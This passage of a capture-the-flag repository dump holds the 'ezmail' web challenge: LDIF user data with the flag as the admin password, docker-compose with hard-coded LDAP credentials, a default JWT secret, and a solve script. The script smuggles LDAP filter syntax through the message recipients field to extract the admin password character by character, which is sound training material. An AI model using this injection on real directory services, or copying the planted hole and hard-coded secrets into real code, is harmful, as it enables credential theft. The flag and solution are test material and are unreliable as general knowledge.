    "content": "dn: dc=ductf,dc=org\nobjectClass: dcObject\nobjectClass: organization\ndc: ductf\no: ductf\n\ndn: ou=users,dc=ductf,dc=org\nobjectClass: organizationalUnit\nou: users\n\ndn: cn=admin,ou=users,dc=ductf,dc=org\ncn: admin\nsn: admin\nobjectClass: inetOrgPerson\nuid: 2b4ce740-01de-4d0e-9a95-4d6a67cf6f96\nuserPassword: DUCTF{th4t_w4snt_sqli_22a81af2}\n\ndn: cn=crosbyjames,ou=users,dc=ductf,dc=org\ncn: crosbyjames\nsn: Crosbyjames\nobjectClass: inetOrgPerson\nuid: 655d8757-cb39-4372-bd4f-3519fb8b1b4b\nuserPassword: beb9cb5662d5def61b48b7b31b8c46ef9c118d8781e9e7e0\n\ndn: cn=owensgail,ou=users,dc=ductf,dc=org\ncn: owensgail\nsn: Owensgail\nobjectClass: inetOrgPerson\nuid: 198541f1-62f0-4fad-ae85-8f44439a1046\nuserPassword: 005299e1ebb811e28f17c3254584757ece2420cc61744def\n\ndn: cn=cbarnes,ou=users,dc=ductf,dc=org\ncn: cbarnes\nsn: Cbarnes\nobjectClass: inetOrgPerson\nuid: 9a7dd51a-5eed-43b8-b826-48acfe9be47a\nuserPassword: c639cb4e459b24b7e2b3e9b5f9943d1cab73a6298fa8aed0\n\ndn: cn=jackgonzalez,ou=users,dc=ductf,dc=org\ncn: jackgonzalez\nsn: Jackgonzalez\nobjectClass: inetOrgPerson\nuid: 4dea9b7e-9751-4f38-921c-6f49262da8af\nuserPassword: b51421bf5d072544ad4f480684ee3c848b794ab758c8f2ed\n\ndn: cn=kimberly80,ou=users,dc=ductf,dc=org\ncn: kimberly80\nsn: Kimberly80\nobjectClass: inetOrgPerson\nuid: 8b4d909b-796f-45a8-9027-337a6fab3645\nuserPassword: a7591948ec604b7d1ddb51a54e5966dc720f7a4e5580b643\n\ndn: cn=powersheather,ou=users,dc=ductf,dc=org\ncn: powersheather\nsn: Powersheather\nobjectClass: inetOrgPerson\nuid: 17d520c8-7c5e-4533-a392-aa38a5b47715\nuserPassword: 5a1e63d84639416665170636ccc1d42b4ad43b9f25b46c86\n\ndn: cn=youngsuzanne,ou=users,dc=ductf,dc=org\ncn: youngsuzanne\nsn: Youngsuzanne\nobjectClass: inetOrgPerson\nuid: 98c5d902-4593-465a-919d-30845cdec878\nuserPassword: 065a84b8091c93ad3b34d1f79c7d57eb2e0ca33eb55ba07f\n\ndn: cn=kayla07,ou=users,dc=ductf,dc=org\ncn: kayla07\nsn: Kayla07\nobjectClass: inetOrgPerson\nuid: 3cadc34e-8488-415d-854d-3369567a4ff4\nuserPassword: eccaf229bb87db081b278bead3b5f384d9d37090a7bcefd8\n\ndn: cn=wilsonashley,ou=users,dc=ductf,dc=org\ncn: wilsonashley\nsn: Wilsonashley\nobjectClass: inetOrgPerson\nuid: e87ab125-fc3a-4c65-8178-9ba188f1d0df\nuserPassword: b42cd0abfdafc20530498407fcfcad16cc689f3bbc5284da\n\ndn: cn=jaustin,ou=users,dc=ductf,dc=org\ncn: jaustin\nsn: Jaustin\nobjectClass: inetOrgPerson\nuid: 9f51e936-a0f7-436c-a55d-0414d56eae17\nuserPassword: 9c46ed13a91dfff3e5cd2b42e60de9d0d1298d09d72d2d98\n\ndn: cn=thomasdavid,ou=users,dc=ductf,dc=org\ncn: thomasdavid\nsn: Thomasdavid\nobjectClass: inetOrgPerson\nuid: 164685f6-7c3f-4136-a635-283d7268bf6b\nuserPassword: a45b39fa8a3e74bca385b6b94f14cb65ba7f0f71c30427ee\n\ndn: cn=lejulie,ou=users,dc=ductf,dc=org\ncn: lejulie\nsn: Lejulie\nobjectClass: inetOrgPerson\nuid: fd46738d-508a-46a6-a18a-27c627d130ca\nuserPassword: 6d0bdfa33d6939efe639464dcca48d28d6644ba150b78ccb\n\ndn: cn=ralph01,ou=users,dc=ductf,dc=org\ncn: ralph01\nsn: Ralph01\nobjectClass: inetOrgPerson\nuid: 31f2f3f2-a7cf-4534-9f4e-6514dbd104fa\nuserPassword: e93453e5e68047a15eda0fb8da517bb82bf46bcbbb05f412\n\ndn: cn=scastillo,ou=users,dc=ductf,dc=org\ncn: scastillo\nsn: Scastillo\nobjectClass: inetOrgPerson\nuid: 43e91c44-b2be-48ec-a8b9-47a777badd36\nuserPassword: 774e8e452eea54b0fc09ec8827695b74bf54e3f4b8bd0735\n\ndn: cn=benjaminsmith,ou=users,dc=ductf,dc=org\ncn: benjaminsmith\nsn: Benjaminsmith\nobjectClass: inetOrgPerson\nuid: 58f57509-4ab1-463c-85de-d4ac6a0c3e0c\nuserPassword: 98c593566f97ef913b4a4829e89154e3c211b5ea1b39e984\n\ndn: cn=marysawyer,ou=users,dc=ductf,dc=org\ncn: marysawyer\nsn: Marysawyer\nobjectClass: inetOrgPerson\nuid: 637068be-69fa-4073-98a1-e077a750caad\nuserPassword: c69e6e3db4613405120ab8ad552ad41b3ed840e77ef214a9\n\ndn: cn=bassjustin,ou=users,dc=ductf,dc=org\ncn: bassjustin\nsn: Bassjustin\nobjectClass: inetOrgPerson\nuid: 9bf361d9-814f-4289-aad1-eba8019e1318\nuserPassword: f69502c2d310c07ce82328d8acba37bf62518ffe17ba211e\n\ndn: cn=cindyedwards,ou=users,dc=ductf,dc=org\ncn: cindyedwards\nsn: Cindyedwards\nobjectClass: inetOrgPerson\nuid: 9d997479-d5d5-4ff3-a1ac-c2f484e6e33a\nuserPassword: 65a3d20168761ff3d0d1b1201463144b303cd6cb51489c1d\n\ndn: cn=zunderwood,ou=users,dc=ductf,dc=org\ncn: zunderwood\nsn: Zunderwood\nobjectClass: inetOrgPerson\nuid: 20c282e3-933f-4fdc-98ee-f87c36cf34c2\nuserPassword: 71057f687ac04d21830b467de328d7901d7f558c78d5405a\n\ndn: cn=markroberson,ou=users,dc=ductf,dc=org\ncn: markroberson\nsn: Markroberson\nobjectClass: inetOrgPerson\nuid: 2692060f-6587-463f-9df3-88d5479293ed\nuserPassword: c3fd5e21fbe3ce6977103548ad6132746b02d58b4a376991\n\ndn: cn=katrina04,ou=users,dc=ductf,dc=org\ncn: katrina04\nsn: Katrina04\nobjectClass: inetOrgPerson\nuid: 9d0ed5f3-265b-4dc6-be8d-e363da201609\nuserPassword: 65e91114f50b37431673c9be6168cd8177dc824efd994e5c\n\ndn: cn=walkermichelle,ou=users,dc=ductf,dc=org\ncn: walkermichelle\nsn: Walkermichelle\nobjectClass: inetOrgPerson\nuid: 6bc74fc3-88c6-4180-b7ee-d6f60fb00173\nuserPassword: 6bd46dbdf0412539bbe385b5a681818109c52208fe9c79de\n\ndn: cn=nicholasking,ou=users,dc=ductf,dc=org\ncn: nicholasking\nsn: Nicholasking\nobjectClass: inetOrgPerson\nuid: bc459578-7d18-46de-b445-7185ed9da7c0\nuserPassword: b82950b897fce2939f8caee0a800859e670070479afeb76a\n\ndn: cn=jon76,ou=users,dc=ductf,dc=org\ncn: jon76\nsn: Jon76\nobjectClass: inetOrgPerson\nuid: 72df615e-a1ad-46f3-8ec4-ec0650c3ccb7\nuserPassword: 1d0976b7ce77c9386c2668d72a0f77ffdd0e56f32d70203a\n\ndn: cn=trevormartin,ou=users,dc=ductf,dc=org\ncn: trevormartin\nsn: Trevormartin\nobjectClass: inetOrgPerson\nuid: 556286ed-b090-4d05-8469-98a3309b1631\nuserPassword: decd841f3f1cc78efd2f5f8198f08ca6abdf242b350a788b\n\ndn: cn=mjohnson,ou=users,dc=ductf,dc=org\ncn: mjohnson\nsn: Mjohnson\nobjectClass: inetOrgPerson\nuid: f979c446-0378-4931-bc57-04df2497f89d\nuserPassword: 945a0c444576022135f0aac04e287cb54fc77e79d167253b\n\ndn: cn=brian36,ou=users,dc=ductf,dc=org\ncn: brian36\nsn: Brian36\nobjectClass: inetOrgPerson\nuid: d5667612-3755-487a-8884-76c49a780c71\nuserPassword: 8fee1fdfbe440f55638898acece5355c19df0653e3782c53\n\ndn: cn=davissean,ou=users,dc=ductf,dc=org\ncn: davissean\nsn: Davissean\nobjectClass: inetOrgPerson\nuid: 4326de2c-ae3b-4883-a8e7-974b29f0c562\nuserPassword: a3440709f9f2c7f6a3da0cc28637157b46585682d5b1f64c\n\ndn: cn=anthony00,ou=users,dc=ductf,dc=org\ncn: anthony00\nsn: Anthony00\nobjectClass: inetOrgPerson\nuid: f930a4dd-03c9-47b0-bcd7-2c88b4439707\nuserPassword: ac1da8bf3732a481ee5c708e8c3904cf1132dd9405df56fe\n\ndn: cn=zacharyjones,ou=users,dc=ductf,dc=org\ncn: zacharyjones\nsn: Zacharyjones\nobjectClass: inetOrgPerson\nuid: 77b4e623-2d3d-4cb4-88ac-6c5a6024d60a\nuserPassword: 19feb5586147c63edee4aa5bfc58411a9492f61039063646\n\ndn: cn=mhunter,ou=users,dc=ductf,dc=org\ncn: mhunter\nsn: Mhunter\nobjectClass: inetOrgPerson\nuid: 21c75dc4-b0db-4e2f-9827-a7a9c1b01b1f\nuserPassword: 2c2fa3dd6f0c5da1b7a7fd97366ab0f46daf578a0fba5180\n\ndn: cn=josephcain,ou=users,dc=ductf,dc=org\ncn: josephcain\nsn: Josephcain\nobjectClass: inetOrgPerson\nuid: 639f0b76-39bf-4987-9444-27bca990fbae\nuserPassword: 0048308ba6852b2b395e8763353cff9fe71581bd3c9fa665\n\ndn: cn=bethanyjones,ou=users,dc=ductf,dc=org\ncn: bethanyjones\nsn: Bethanyjones\nobjectClass: inetOrgPerson\nuid: a7c7ce36-63be-4c94-b1dc-cca7473cf051\nuserPassword: 29f32bdc74483670e2a923c369653e2613ad538015d4ccd6\n\ndn: cn=kevin81,ou=users,dc=ductf,dc=org\ncn: kevin81\nsn: Kevin81\nobjectClass: inetOrgPerson\nuid: 1a57050c-8b95-4787-bbd4-89671a4e94b4\nuserPassword: ac8b1cbb9d804df0ce8eec9e75254c21ae3efe36751606a5\n\ndn: cn=brad05,ou=users,dc=ductf,dc=org\ncn: brad05\nsn: Brad05\nobjectClass: inetOrgPerson\nuid: e3f5bdf2-a400-4f08-8eae-625e7cdea6cf\nuserPassword: 300bfb8a7e5991bea2d758286da9210455e0e958c69e3fe5\n\ndn: cn=brendafigueroa,ou=users,dc=ductf,dc=org\ncn: brendafigueroa\nsn: Brendafigueroa\nobjectClass: inetOrgPerson\nuid: 87c92de3-7914-4fb0-a1a1-58b8803b77d5\nuserPassword: 623dc557a0be31927cec2b97ba30df6820b59c18688a79cf\n\ndn: cn=sarah68,ou=users,dc=ductf,dc=org\ncn: sarah68\nsn: Sarah68\nobjectClass: inetOrgPerson\nuid: be0e43db-e67c-4c77-ac79-9eba58979296\nuserPassword: 0aab9dce3ee801609cbbdde17bbc6ae221223ff56f6a28f9\n\ndn: cn=paulmarks,ou=users,dc=ductf,dc=org\ncn: paulmarks\nsn: Paulmarks\nobjectClass: inetOrgPerson\nuid: 41ade577-6816-4985-b43e-9d16dd0d7d38\nuserPassword: ab60fbb80943fed07a6a8d74e3ecfa2581223367f5f81978\n\ndn: cn=emily92,ou=users,dc=ductf,dc=org\ncn: emily92\nsn: Emily92\nobjectClass: inetOrgPerson\nuid: 33a8b465-ed89-41ca-8124-58e9ea4a0511\nuserPassword: d522f85eb3331522aee7b08feda52b599c068f34fb9917cf\n\ndn: cn=xporter,ou=users,dc=ductf,dc=org\ncn: xporter\nsn: Xporter\nobjectClass: inetOrgPerson\nuid: fb1d400b-320d-4279-8a6c-d9029d83fa18\nuserPassword: 808452c7a8d249d5be2f2e1b720247db969ee2cfb16c0ab0\n\ndn: cn=williamsamy,ou=users,dc=ductf,dc=org\ncn: williamsamy\nsn: Williamsamy\nobjectClass: inetOrgPerson\nuid: 292a99dc-91ca-4a7b-a8e0-9344635f54cf\nuserPassword: f7ff7aa7e55416ea5f75f626d8880fc48464d2bc93bd35b2\n\ndn: cn=pthomas,ou=users,dc=ductf,dc=org\ncn: pthomas\nsn: Pthomas\nobjectClass: inetOrgPerson\nuid: f3986f84-0a31-4434-9859-727db292b9bc\nuserPassword: 9935009d18530e57ea3387a1d4a24e6716bddbf3160e2340\n\ndn: cn=yclarke,ou=users,dc=ductf,dc=org\ncn: yclarke\nsn: Yclarke\nobjectClass: inetOrgPerson\nuid: 3664b7d3-6ba5-45d7-bdf4-2c099563757e\nuserPassword: 45976b5f3a73ec5df3840a33a6288a6ff69d765d5ed606bd\n\ndn: cn=jesse02,ou=users,dc=ductf,dc=org\ncn: jesse02\nsn: Jesse02\nobjectClass: inetOrgPerson\nuid: 58831e0b-9fce-4461-9eae-9162e1adedbc\nuserPassword: 582dd42605e745d0215805d8e6797479d4720d3fcee4e568\n\ndn: cn=katherine78,ou=users,dc=ductf,dc=org\ncn: katherine78\nsn: Katherine78\nobjectClass: inetOrgPerson\nuid: 1f6a2c3b-407e-443b-aae5-4bc471029b97\nuserPassword: 6462d042054a89204ff0895b28228a845c2eb2fafa038ee2\n\ndn: cn=jeannemorgan,ou=users,dc=ductf,dc=org\ncn: jeannemorgan\nsn: Jeannemorgan\nobjectClass: inetOrgPerson\nuid: a346f2c0-26ea-4096-904c-53bbefbe1e6b\nuserPassword: 0e17e3b0543908e3062ee0f0c3a8984b8c2dcc980f32366a\n\ndn: cn=aliciamueller,ou=users,dc=ductf,dc=org\ncn: aliciamueller\nsn: Aliciamueller\nobjectClass: inetOrgPerson\nuid: db3ff2f4-ed5c-45cf-b7a9-924540643d59\nuserPassword: 556a0a0f9837d855123cc2aab9fa694d3ba471e5e80b3152\n\ndn: cn=kgates,ou=users,dc=ductf,dc=org\ncn: kgates\nsn: Kgates\nobjectClass: inetOrgPerson\nuid: c3f47025-206c-4c49-b246-4d76e7d545e7\nuserPassword: 6c7f7080d9bc2f0c9e41601f41ce6bde36480e5b2cd7d67e\n\ndn: cn=sstone,ou=users,dc=ductf,dc=org\ncn: sstone\nsn: Sstone\nobjectClass: inetOrgPerson\nuid: 4ff07c9c-8ba9-49a2-a466-20cc8d79e7d8\nuserPassword: b10fd25cda59bf843a519069f776687b4879ad0fa998714b\n\ndn: cn=longronald,ou=users,dc=ductf,dc=org\ncn: longronald\nsn: Longronald\nobjectClass: inetOrgPerson\nuid: 465cc229-100c-404f-91c1-91451dd6344e\nuserPassword: 1de35500b5ba6bf38dbb3810b3c0276e9ba66afbab0760c3\n\ndn: cn=darren28,ou=users,dc=ductf,dc=org\ncn: darren28\nsn: Darren28\nobjectClass: inetOrgPerson\nuid: 01a89161-8287-44af-ab6e-3c54ef007ae5\nuserPassword: 610b6b1605509a8da1b770b7d2e0babb7aae76d8ea3a4f78\n\ndn: cn=patelkathryn,ou=users,dc=ductf,dc=org\ncn: patelkathryn\nsn: Patelkathryn\nobjectClass: inetOrgPerson\nuid: aaa87f40-9838-47e8-a728-a9ef4205ff10\nuserPassword: 1c3533dd0810831008d82e31e708af8945306f3fe754a5fb\n\ndn: cn=camposnichole,ou=users,dc=ductf,dc=org\ncn: camposnichole\nsn: Camposnichole\nobjectClass: inetOrgPerson\nuid: d862ff8d-3fca-4530-bac5-c15966c91a56\nuserPassword: e3f28e2b864678f84fb8b382c145d3cb9c19a900f4bfd198\n\ndn: cn=megan12,ou=users,dc=ductf,dc=org\ncn: megan12\nsn: Megan12\nobjectClass: inetOrgPerson\nuid: faf00d87-e1b0-45cb-beea-ed7832693f13\nuserPassword: df2c78ef6a884a0ce5c3fed39bda751c26581519187b22ff\n\ndn: cn=jenniferwiley,ou=users,dc=ductf,dc=org\ncn: jenniferwiley\nsn: Jenniferwiley\nobjectClass: inetOrgPerson\nuid: 41751be8-b8fb-430b-b5a2-6277a7ada1f4\nuserPassword: e0923c565dc83e1fce22f5d0b9e09560a73352027bb15057\n\ndn: cn=jenniferpalmer,ou=users,dc=ductf,dc=org\ncn: jenniferpalmer\nsn: Jenniferpalmer\nobjectClass: inetOrgPerson\nuid: 5f0d81f5-9be3-4177-a0b8-c3de8a9fbe07\nuserPassword: e4988050c10882bc6a483742c8fd4a942ccddaadc0f131a4\n\ndn: cn=gnolan,ou=users,dc=ductf,dc=org\ncn: gnolan\nsn: Gnolan\nobjectClass: inetOrgPerson\nuid: 7563752c-0d86-4844-b1c4-77e66a16bf1c\nuserPassword: 75151e87c282f66b7d15a7a4bda4881f4eee5275525e929a\n\ndn: cn=whayes,ou=users,dc=ductf,dc=org\ncn: whayes\nsn: Whayes\nobjectClass: inetOrgPerson\nuid: 3349a685-2d7f-42ff-b849-f630da945907\nuserPassword: 389615238cd0dfbf09c0eb2bf3c2df18c5b6b3270d26881b\n\ndn: cn=josephrodriguez,ou=users,dc=ductf,dc=org\ncn: josephrodriguez\nsn: Josephrodriguez\nobjectClass: inetOrgPerson\nuid: cd951375-eec0-42f4-8c20-357bb1c4d35f\nuserPassword: e41560ce7647a5e8138c4de7da9b26b3b391acf1fb950415\n\ndn: cn=markcraig,ou=users,dc=ductf,dc=org\ncn: markcraig\nsn: Markcraig\nobjectClass: inetOrgPerson\nuid: 890c0bb0-142a-4f8d-a7a3-bf02893c746e\nuserPassword: a9e0ac47b7869ffe01670188177a37357c70d6bf84f800a8\n\ndn: cn=david30,ou=users,dc=ductf,dc=org\ncn: david30\nsn: David30\nobjectClass: inetOrgPerson\nuid: 57970126-6180-401e-9ef8-b21a5ee23521\nuserPassword: ea73a43f347af6a3b59ac28046b8ffe2aba2034232e0b0cf\n\ndn: cn=elliottlaurie,ou=users,dc=ductf,dc=org\ncn: elliottlaurie\nsn: Elliottlaurie\nobjectClass: inetOrgPerson\nuid: 015ac6e2-bb55-4a93-8ada-8632532dd570\nuserPassword: 2bda1eb8f8c365617ee2ccd932aaae2e5fa09124295e616d\n\ndn: cn=kinglaura,ou=users,dc=ductf,dc=org\ncn: kinglaura\nsn: Kinglaura\nobjectClass: inetOrgPerson\nuid: 83ae4a59-158b-4074-a731-9bd3c8308382\nuserPassword: fb0782c91df9fb6fb6d7a3860d14bef7b12fbb28b407a777\n\ndn: cn=monica89,ou=users,dc=ductf,dc=org\ncn: monica89\nsn: Monica89\nobjectClass: inetOrgPerson\nuid: 56b77cb2-b9be-42bd-81e5-d7f07191ce31\nuserPassword: 9080b0d9e20ea7d3ca5bca4abb5e031ab7e4c1ae74629a2b\n\ndn: cn=ezmail,ou=users,dc=ductf,dc=org\ncn: ezmail\nobjectClass: groupOfNames\nmember: cn=crosbyjames,ou=users,dc=ductf,dc=org\nmember: cn=owensgail,ou=users,dc=ductf,dc=org\nmember: cn=cbarnes,ou=users,dc=ductf,dc=org\nmember: cn=jackgonzalez,ou=users,dc=ductf,dc=org\nmember: cn=kimberly80,ou=users,dc=ductf,dc=org\nmember: cn=powersheather,ou=users,dc=ductf,dc=org\nmember: cn=youngsuzanne,ou=users,dc=ductf,dc=org\nmember: cn=kayla07,ou=users,dc=ductf,dc=org\nmember: cn=wilsonashley,ou=users,dc=ductf,dc=org\nmember: cn=jaustin,ou=users,dc=ductf,dc=org\nmember: cn=thomasdavid,ou=users,dc=ductf,dc=org\nmember: cn=lejulie,ou=users,dc=ductf,dc=org\nmember: cn=ralph01,ou=users,dc=ductf,dc=org\nmember: cn=scastillo,ou=users,dc=ductf,dc=org\nmember: cn=benjaminsmith,ou=users,dc=ductf,dc=org\nmember: cn=marysawyer,ou=users,dc=ductf,dc=org\nmember: cn=bassjustin,ou=users,dc=ductf,dc=org\nmember: cn=cindyedwards,ou=users,dc=ductf,dc=org\nmember: cn=zunderwood,ou=users,dc=ductf,dc=org\nmember: cn=markroberson,ou=users,dc=ductf,dc=org\nmember: cn=katrina04,ou=users,dc=ductf,dc=org\nmember: cn=walkermichelle,ou=users,dc=ductf,dc=org\nmember: cn=nicholasking,ou=users,dc=ductf,dc=org\nmember: cn=jon76,ou=users,dc=ductf,dc=org\nmember: cn=trevormartin,ou=users,dc=ductf,dc=org\nmember: cn=mjohnson,ou=users,dc=ductf,dc=org\nmember: cn=brian36,ou=users,dc=ductf,dc=org\nmember: cn=davissean,ou=users,dc=ductf,dc=org\nmember: cn=anthony00,ou=users,dc=ductf,dc=org\nmember: cn=zacharyjones,ou=users,dc=ductf,dc=org\nmember: cn=mhunter,ou=users,dc=ductf,dc=org\nmember: cn=josephcain,ou=users,dc=ductf,dc=org\nmember: cn=bethanyjones,ou=users,dc=ductf,dc=org\nmember: cn=kevin81,ou=users,dc=ductf,dc=org\nmember: cn=brad05,ou=users,dc=ductf,dc=org\nmember: cn=brendafigueroa,ou=users,dc=ductf,dc=org\nmember: cn=sarah68,ou=users,dc=ductf,dc=org\nmember: cn=paulmarks,ou=users,dc=ductf,dc=org\nmember: cn=emily92,ou=users,dc=ductf,dc=org\nmember: cn=xporter,ou=users,dc=ductf,dc=org\nmember: cn=williamsamy,ou=users,dc=ductf,dc=org\nmember: cn=pthomas,ou=users,dc=ductf,dc=org\nmember: cn=yclarke,ou=users,dc=ductf,dc=org\nmember: cn=jesse02,ou=users,dc=ductf,dc=org\nmember: cn=katherine78,ou=users,dc=ductf,dc=org\nmember: cn=jeannemorgan,ou=users,dc=ductf,dc=org\nmember: cn=aliciamueller,ou=users,dc=ductf,dc=org\nmember: cn=kgates,ou=users,dc=ductf,dc=org\nmember: cn=sstone,ou=users,dc=ductf,dc=org\nmember: cn=longronald,ou=users,dc=ductf,dc=org\nmember: cn=darren28,ou=users,dc=ductf,dc=org\nmember: cn=patelkathryn,ou=users,dc=ductf,dc=org\nmember: cn=camposnichole,ou=users,dc=ductf,dc=org\nmember: cn=megan12,ou=users,dc=ductf,dc=org\nmember: cn=jenniferwiley,ou=users,dc=ductf,dc=org\nmember: cn=jenniferpalmer,ou=users,dc=ductf,dc=org\nmember: cn=gnolan,ou=users,dc=ductf,dc=org\nmember: cn=whayes,ou=users,dc=ductf,dc=org\nmember: cn=josephrodriguez,ou=users,dc=ductf,dc=org\nmember: cn=markcraig,ou=users,dc=ductf,dc=org\nmember: cn=david30,ou=users,dc=ductf,dc=org\nmember: cn=elliottlaurie,ou=users,dc=ductf,dc=org\nmember: cn=kinglaura,ou=users,dc=ductf,dc=org\nmember: cn=monica89,ou=users,dc=ductf,dc=org\n\n"
  },
  {
    "path": "web/ezmail/docker-compose.yml",
    "content": "services:\n  ldap:\n    image: docker.io/bitnami/openldap\n    ports:\n      - 1389:1389\n      - 1636:1636\n    environment:\n      - LDAP_ROOT=dc=ductf,dc=org\n      - LDAP_ADMIN_USERNAME=zzchallengeadmin\n      - LDAP_ADMIN_PASSWORD=JeQ2MjV7qdQbvHQBkosr_k_Qw679leHv\n    volumes:\n      - ./data/users.ldif:/ldifs/users.ldif\n  redis:\n    image: redis\n    ports:\n      - 6379:6379\n  app:\n    image: ezmail.web.ctf.local\n    build: .\n    environment:\n      - REDIS_HOST=redis\n      - LDAP_HOST=ldap:1389\n    ports: [ 8000:8000 ]\n    links: [ ldap, redis ]\n"
  },
  {
    "path": "web/ezmail/flag.txt",
    "content": "DUCTF{th4t_w4snt_sqli_22a81af2}\n"
  },
  {
    "path": "web/ezmail/solve/solve.py",
    "content": "import time\nfrom urllib3.util.retry import Retry\nfrom requests.adapters import HTTPAdapter\nimport string\nimport requests\n\nBASE_URL = 'http://localhost:8000'\nMAX_TRIES = 10\nTARGET_USER = 'admin'\nCHARSET = list(sorted(ord(c) for c in string.ascii_lowercase + string.digits + '_'))\n\n\nadapter = HTTPAdapter(max_retries=Retry(\n    total=3,\n    backoff_factor=1,\n    status_forcelist=[429],\n    method_whitelist=[\"GET\", \"POST\"]\n))\nsess = requests.Session()\nsess.mount(\"https://\", adapter)\nsess.mount(\"http://\", adapter)\n\nn_requests = 0\nstart = time.time()\n\n# 0. Get a token\ntoken = sess.post(f\"{BASE_URL}/token\").json()[\"access_token\"]\n\ndef send_message(targets):\n    global n_requests\n    n_requests += 1\n    return sess.post(f\"{BASE_URL}/message\", json={\n        \"recipients\": targets,\n        \"content\": \"solving\",\n        \"identity_provider\": \"ldap\"\n    }, headers={'Authorization': f'Bearer {token}'}).json()\n\ndef message_status(msg_id):\n    global n_requests\n    n_requests += 1\n    return sess.get(f\"{BASE_URL}/message/{msg_id}/status\", headers={\n        'Authorization': f'Bearer {token}'\n    }).json()\n\ndef message_info(msg_id):\n    global n_requests\n    n_requests += 1\n    return sess.get(f\"{BASE_URL}/message/{msg_id}\", headers={\n        'Authorization': f'Bearer {token}'\n    }).json()\n\ndef send_and_process_msg(targets):\n    msg_id = send_message(targets)\n    n_tries = 0\n    while (status := message_status(msg_id)) not in ['failed', 'sent'] and n_tries < MAX_TRIES:\n        n_tries += 1\n        time.sleep(0.1)\n    assert n_tries < MAX_TRIES\n    return message_info(msg_id)\n\ndef encode(c):\n    return f'\\\\{c:02x}'\ndef guess_character(known):\n    prefix = f\"{TARGET_USER})(userPassword:2.5.13.18:=\" + \"\".join(encode(ord(c)) for c in list(known))\n\n    # Naively just search everything\n    for i in range(0, len(CHARSET), 8):\n        guesses = [prefix+encode(c) for c in CHARSET[i:i+8]]\n        msg = send_and_process_msg(guesses)\n        if len(msg['recipients']) > 0:\n            recipient = min(int(r.split('\\\\')[-1], 16) for r in msg['recipients'])\n            return CHARSET[CHARSET.index(recipient) - 1]\n    return None\n\nknown = 'DUCTF{'\nwhile (c := guess_character(known)) is not None:\n    known += chr(c)\n    print(known, end=\"\\r\")\n\nprint(\"FLAG:\", known + '}')\nprint(\"REQS:\", n_requests)\nprint(\"TIME:\", time.time() - start)\n"
  },
  {
    "path": "web/ezmail/src/config.py",
    "content": "import os\n\nREDIS_HOST = os.environ.get(\"REDIS_HOST\", \"localhost\")\nLDAP_HOST = os.environ.get(\"LDAP_HOST\", \"localhost:1389\")\nSECRET_KEY = os.environ.get(\n    \"SECRET_KEY\", \"c39042a8731012ce0fbc06179044df22b493daefea4a58e606130b0127db325c\"\n)\n"
  },
  {
    "path": "web/ezmail/src/main.py",
    "content": "import json\nimport uuid\nfrom typing import List\n\nimport jose\nimport jose.jwt\nfrom fastapi import (BackgroundTasks, Body, Depends, FastAPI, HTTPException,\n                     Request, Response, status)\nfrom fastapi.security import OAuth2PasswordBearer\nfrom slowapi import Limiter, _rate_limit_exceeded_handler\nfrom slowapi.util import get_ipaddr\nfrom slowapi.errors import RateLimitExceeded\n\nimport config\nimport message as msg_lib\nfrom models import (IdType, MessageInfo, MessageStatus, MessageToSend,\n                    TokenResponse, User, UserRole)\n\nopenapi_description = \"\"\"\nAPI documentation for Ezmail\n\nGet started by requesting an anonymous api token!\n\"\"\".strip()\n\nlimiter = Limiter(key_func=get_ipaddr)\napp = FastAPI(title=\"Ezmail\", description=openapi_description)\napp.state.limiter = limiter\napp.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler)\n\noauth2_scheme = OAuth2PasswordBearer(\"token\")\n\n\ndef issue_token(user: User) -> str:\n    # :thonk:\n    return jose.jwt.encode(\n        json.loads(user.json()), config.SECRET_KEY, algorithm=\"HS256\"\n    )\n\n\nasync def current_user(token: str = Depends(oauth2_scheme)) -> User:\n    try:\n        payload = jose.jwt.decode(token, config.SECRET_KEY)\n    except jose.JWTError:\n        raise HTTPException(\n            status_code=status.HTTP_401_UNAUTHORIZED,\n            detail=\"Invalid token\",\n            headers={\"WWW-Authenticate\": \"Bearer\"},\n        )\n\n    return User(**payload)\n\n\n@app.get(\"/\", include_in_schema=False)\nasync def index():\n    return {\"swagger\": \"/docs\", \"redoc\": \"/redoc\", \"openapi\": \"/openapi.json\"}\n\n\n@app.post(\n    \"/message\",\n    status_code=status.HTTP_202_ACCEPTED,\n    response_model=IdType,\n    tags=[\"message\"],\n)\n@limiter.limit(\"4/second\")\nasync def send_message(\n    request: Request,\n    message: MessageToSend,\n    background_tasks: BackgroundTasks,\n    current_user: User = Depends(current_user),\n):\n    if len(message.recipients) > 8:\n        raise HTTPException(\n            status=status.HTTP_400_BAD_REQUEST,\n            detail=\"Ezmail only supports messaging up to 8 people at a time\",\n        )\n\n    message_id = uuid.uuid4()\n    await msg_lib.set_message_processing_status(message_id, \"queued\")\n\n    background_tasks.add_task(\n        msg_lib.send_message,\n        MessageInfo(\n            id=message_id,\n            sender=current_user.user_id,\n            recipients=message.recipients,\n            content=message.content,\n        ),\n        message.identity_provider,\n    )\n\n    return message_id\n\n\n@app.get(\n    \"/message/{message_id}\",\n    response_model=MessageInfo,\n    responses={404: {\"description\": \"Message could not be found. Check its status at /message/{message_id}/status\"}},\n    tags=[\"message\"]\n)\n@limiter.limit(\"12/second\")\nasync def get_message(request: Request, message_id: IdType, current_user: User = Depends(current_user)):\n    return await msg_lib.get_message(message_id) or Response(\n        status_code=status.HTTP_404_NOT_FOUND\n    )\n\n\n@app.get(\"/message/{message_id}/status\", response_model=MessageStatus, tags=[\"message\"])\n@limiter.limit(\"12/second\")\nasync def get_message_status(\n    request: Request, message_id: IdType, current_user: User = Depends(current_user)\n):\n    return await msg_lib.get_message_processing_status(message_id)\n\n\n@app.get(\"/me/inbox\", response_model=List[IdType], tags=[\"me\"])\n@limiter.limit(\"8/second\")\nasync def get_inbox(request: Request, current_user: User = Depends(current_user)):\n    if current_user.user_role == UserRole.ANONYMOUS:\n        raise HTTPException(\n            status_code=status.HTTP_400_BAD_REQUEST,\n            detail=\"Anonymous users cannot recieve messages\",\n        )\n    return await msg_lib.get_user_recv(current_user.user_id)\n\n\n@app.get(\"/me/sent\", response_model=List[IdType], tags=[\"me\"])\n@limiter.limit(\"8/second\")\nasync def get_sendbox(request: Request, current_user: User = Depends(current_user)):\n    return await msg_lib.get_user_sent(current_user.user_id)\n\n\n@app.get(\"/me\", response_model=User, tags=[\"me\"])\nasync def get_me(current_user: User = Depends(current_user)):\n    return current_user\n\n\n@app.post(\"/token\", response_model=TokenResponse, tags=[\"auth\"])\n@limiter.limit(\"24/minute\")\nasync def get_token(request: Request):\n    return {\n        \"access_token\": issue_token(\n            